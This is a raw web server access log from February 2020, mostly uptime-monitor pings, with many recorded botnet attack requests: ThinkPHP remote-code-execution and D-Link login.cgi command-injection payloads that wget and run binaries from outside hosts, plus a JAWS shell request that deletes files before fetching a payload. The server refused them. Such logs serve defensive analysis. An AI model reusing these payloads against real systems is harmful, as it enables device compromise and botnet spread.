212.91.246.72 - - [11/Feb/2020:11:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.68.221.167 - - [11/Feb/2020:11:36:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [11/Feb/2020:11:40:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [11/Feb/2020:11:40:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [11/Feb/2020:11:40:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [11/Feb/2020:11:40:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:11:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [11/Feb/2020:11:40:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
182.121.41.69 - - [11/Feb/2020:11:40:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:11:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [11/Feb/2020:11:41:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:11:42:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:11:42:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:11:42:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [11/Feb/2020:11:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [11/Feb/2020:11:42:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
118.69.34.216 - - [11/Feb/2020:11:43:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.152.6.58 - - [11/Feb/2020:11:43:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:11:43:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [11/Feb/2020:11:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [11/Feb/2020:11:43:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [11/Feb/2020:11:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.73.171.226 - - [11/Feb/2020:11:45:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:11:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.54.63.130 - - [11/Feb/2020:11:47:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.137.182.73 - - [11/Feb/2020:11:47:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.233.85.163 - - [11/Feb/2020:11:49:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.225.139.70 - - [11/Feb/2020:11:51:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.242.103.29 - - [11/Feb/2020:11:53:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.214.153.159 - - [11/Feb/2020:11:54:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.214.153.159 - - [11/Feb/2020:11:54:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:11:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.181.166 - - [11/Feb/2020:11:56:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.157.119.188 - - [11/Feb/2020:12:05:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
217.76.42.78 - - [11/Feb/2020:12:05:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.29.53.56 - - [11/Feb/2020:12:06:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:12:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.189.6.100 - - [11/Feb/2020:12:07:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:12:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.195.177 - - [11/Feb/2020:12:09:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.128 - - [11/Feb/2020:12:09:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.5.42.195 - - [11/Feb/2020:12:12:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.101.71 - - [11/Feb/2020:12:13:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.72.206.126 - - [11/Feb/2020:12:13:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.72.206.126 - - [11/Feb/2020:12:13:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
182.180.130.77 - - [11/Feb/2020:12:13:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:12:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.141.236.132 - - [11/Feb/2020:12:14:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.42.74.66 - - [11/Feb/2020:12:15:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.0.206.51 - - [11/Feb/2020:12:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.88.113 - - [11/Feb/2020:12:25:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.51 - - [11/Feb/2020:12:26:43 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [11/Feb/2020:12:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.173.113.217 - - [11/Feb/2020:12:29:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.53.238.105 - - [11/Feb/2020:12:30:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.165.158.213 - - [11/Feb/2020:12:30:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:12:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.3.147.2 - - [11/Feb/2020:12:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.176.80.117 - - [11/Feb/2020:12:34:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:12:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.129.165 - - [11/Feb/2020:12:39:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
212.91.246.72 - - [11/Feb/2020:12:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.27.25 - - [11/Feb/2020:12:40:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.70.123.40 - - [11/Feb/2020:12:40:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.219.147.0 - - [11/Feb/2020:12:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [11/Feb/2020:12:43:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.10.10 - - [11/Feb/2020:12:43:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.210.211.132 - - [11/Feb/2020:12:44:09 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [11/Feb/2020:12:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.166.207.35 - - [11/Feb/2020:12:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [11/Feb/2020:12:46:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:12:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.41.44.234 - - [11/Feb/2020:12:49:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.34.250 - - [11/Feb/2020:12:52:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.11.136.77 - - [11/Feb/2020:12:53:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
